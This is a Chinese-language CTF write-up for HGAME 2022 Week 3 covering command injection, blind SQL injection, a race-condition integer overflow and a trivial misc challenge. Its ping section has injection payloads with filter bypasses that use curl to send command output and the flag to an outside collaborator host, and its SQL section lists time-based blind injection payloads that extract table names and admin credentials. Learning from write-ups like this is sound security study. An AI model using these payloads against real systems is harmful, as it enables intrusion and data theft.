HGAME 2022 Week3 writeup by ripple

  1. 1. HGAME 2022 Week3 writeup by ripple
    1. 1.1. Web
      1. 1.1.1. Ping To The Host
      2. 1.1.2. Login To Get My Gift
      3. 1.1.3. Gopher Shop
    2. 1.2. MISC
      1. 1.2.1. Tunnel

HGAME 2022 Week3 writeup by ripple

Web

Ping To The Host

考察命令注入

打开来是一个ping的网站

先试试127.0.0.1,回显success

一开始尝试直接去ls,发现没有回显以及有一些过滤(返回Waf!)

在学长指导下知道了可以使用curl将回显的内容发送到自己的服务器端。

以下是一些过滤的绕过方法:
空格 —> ${IFS}

and —> &&

cd —> c\d

cat —> ca\t

flag —> f\lag

主要是采用了\连接符来绕过,还有就是用`先执行命令。

临时先用burpsuite里的Burp Collaborator client,等有空了整一个服务器。

直接ls不能输出全部的,先采用了base64转码:

127.0.0.1${IFS}&&${IFS}curl${IFS}-v${IFS}https://n1p1nrike1nss716ioayogudr4xvlk.burpcollaborator.net${IFS}--data${IFS}\`ls|base64`

返回:NQphcHAucHkKc3RhdGljCnRlbXBsYXRlcwo=

base64解码得到:

1
2
3
4
5
app.py
static
templates

这里看了一下文件夹里有没有flag,返回上一层目录找。

127.0.0.1${IFS}&&${IFS}curl${IFS}-v${IFS}https://n1p1nrike1nss716ioayogudr4xvlk.burpcollaborator.net${IFS}--data${IFS}\`c\d${IFS}..&&ls|base64`

cdls

返回:YXBwCmJpbgpib290CmRldgpldGMKZmxhZ19pc19oZXJlX2hhaGEKaG9tZQpsaWIKbGliNjQKbWVk

base64解码

1
2
3
4
5
6
7
8
9
10
app
bin
boot
dev
etc
flag_is_here_haha
home
lib
lib64
med

发现flag_is_here_haha,cat一下就行了

127.0.0.1${IFS}&&${IFS}curl${IFS}-v${IFS}https://n1p1nrike1nss716ioayogudr4xvlk.burpcollaborator.net${IFS}--data${IFS}\`c\d${IFS}..&&ca\t${IFS}fl\ag_is_here_haha`

得到flag:hgame{p1nG_t0_ComM4nD_ExecUt1on_dAngErRrRrRrR!}

Login To Get My Gift

考察SQL盲注

由于不会使用脚本,这题我是采用Burpsuite里的Intruder半自动手注

一个一个的找太痛苦啦,不过看着账号密码一点点出来也是很爽的

可以布尔盲注或是时间盲注,我好像都利用了?

返回sleep的回显会慢且最后时fail,返回1时比较快且最后时success,字段也不同。

具体就是把regexp后面的ASCII值换掉,一个个试(Intruder)

然后找到正确的值之后再手动改为下一个,再一个个试出ASCII。

这里要注意regexp和=的区别,regexp不区分大小写且包含就行,一开始被这个坑了,所以先转为ASCII

闭合为 ‘

然后展示一下绕过方法:

and –> &&

substr –> left(right())

空格 –> /*1*/

过程比较枯燥,就附一张图吧,其他都是差不多的。

这是查出数据库名第一位ASCII值为76(L)

查出数据库名长度为7
testpassword’/*1*/&&if(length(database())/*1*/regexp/*1*/7,sleep(5),1)#

查出数据库名字为L0g1NMe

testpassword’/*1*/&&/*1*/if(ascii(right(left(database(),1),1))/*1*/regexp/*1*/76,sleep(5),1)#

查出表长14
testpassword’/*1*/&&/*1*/if(length((select/*1*/table_name/*1*/from/*1*/information_schema.tables/*1*/where/*1*/table_schema/*1*/regexp/*1*/‘L0g1NMe’/*1*/limit/*1*/0,1))/*1*/regexp/*1*/‘14’,sleep(5),1)#

查出表名User1nf0mAt1on

testpassword’/*1*/&&/*1*/if(ascii(right(left((select/*1*/table_name/*1*/from/*1*/information_schema.tables/*1*/where/*1*/table_schema/*1*/regexp/*1*/‘L0g1NMe’/*1*/limit/*1*/0,1),1),1))/*1*/regexp/*1*/1,sleep(5),1)#

查出字段一长2

testpassword’/*1*/&&/*1*/if(length((select/1/column_name/*1*/from/*1*/information_schema.columns/*1*/where/*1*/table_name/*1*/regexp/*1*/‘User1nf0mAt1on’/*1*/limit/*1*/0,1))/*1*/regexp/*1*/2,sleep(5),1)#

查出字段名一id

testpassword’/*1*/&&/*1*/if(ascii(right(left((select/*1*/column_name/*1*/from/*1*/information_schema.columns/*1*/where/*1*/table_name/*1*/regexp/*1*/‘User1nf0mAt1on’/*1*/limit/*1*/0,1),1),1))/*1*/regexp/*1*/1,sleep(5),1)#

查出字段名二UsErN4me

testpassword’/*1*/&&/*1*/if(ascii(right(left((select/*1*/column_name/*1*/from/*1*/information_schema.columns/*1*/where/*1*/table_name/*1*/regexp/*1*/‘User1nf0mAt1on’/*1*/limit/*1*/1,1),1),1))/*1*/regexp/*1*/1,sleep(5),1)#

查出字段名三PAssw0rD

testpassword’/*1*/&&/*1*/if(ascii(right(left((select/*1*/column_name/*1*/from/*1*/information_schema.columns/*1*/where/*1*/table_name/*1*/regexp/*1*/‘User1nf0mAt1on’/*1*/limit/*1*/2,1),1),1))/*1*/regexp/*1*/1,sleep(5),1)#

查出值hgAmE2023HAppYnEwyEAr
testpassword’/*1*/&&/*1*/if(ascii(right(left((select/*1*/UsErN4me/*1*/from/*1*/User1nf0mAt1on/*1*/limit/1/0,1),1),1))/*1*/regexp/*1*/1,sleep(5),1)#

查出值WeLc0meT0hgAmE2023hAPPySql
testpassword’/*1*/&&/*1*/if(ascii(right(left((select/*1*/PAssw0rD/*1*/from/*1*/User1nf0mAt1on/*1*/limit/*1*/0,1),1),1))/*1*/regexp/*1*/1,sleep(5),1)#

hgAmE2023HAppYnEwyEAr就是admin用户名WeLc0meT0hgAmE2023hAPPySql是admin密码,用这个登录就行啦!

访问/home路由即为flag。

flag:hgame{It_1s_1n7EresT1nG_T0_ExPL0Re_Var10us_Ways_To_Sql1njEct1on}

Gopher Shop

考察条件竞争与整型溢出

一开始只想到条件竞争结果days不够用,过快访问一下就没了。

后来询问学长才知道可以通过多买多卖导致整型溢出。

思路就是先买一个Apple,然后通过条件竞争多卖出几个Apple,这时候我们Apple个数就成了负数,结果就是整型溢出让我们有了超级多的Apple,再正常卖出即可得到很多钱去买flag了。

先随便注册一个账号,买一个Apple,使用Burpsuite拦截在卖出时抓包,Forward找到卖出东西的请求包send to Intruder。

clear后选择Null payloads,我这里直接发无穷次了,要手速快点取消掉,不然days就不够了。

取消拦截,就惊奇的发现有了好多Apple(溢出啦)。

我这应该是多卖了30个,钱变成310了。

然后卖苹果买Flag后点Check flag就行了

flag:hgame{GopherShop_M@gic_1nt_0verflow}

真的很神奇!

MISC

Tunnel

由于一开始题目有点小问题偷鸡50分。

Revange版本就一脸懵了。

附件用16进制编译器打开搜索hgame即可找到flag。

flag:hgame{ikev1_may_not_safe_aw987rtgh}

WEEK3上强度了,之前还想试试re和crypto的题目的,基本都不会QAQ。

加油加油!收获满满。

(WEEK4太痛苦拉啦啦啦啦啦啦啦QAQAQAQAQAQAQAQAQ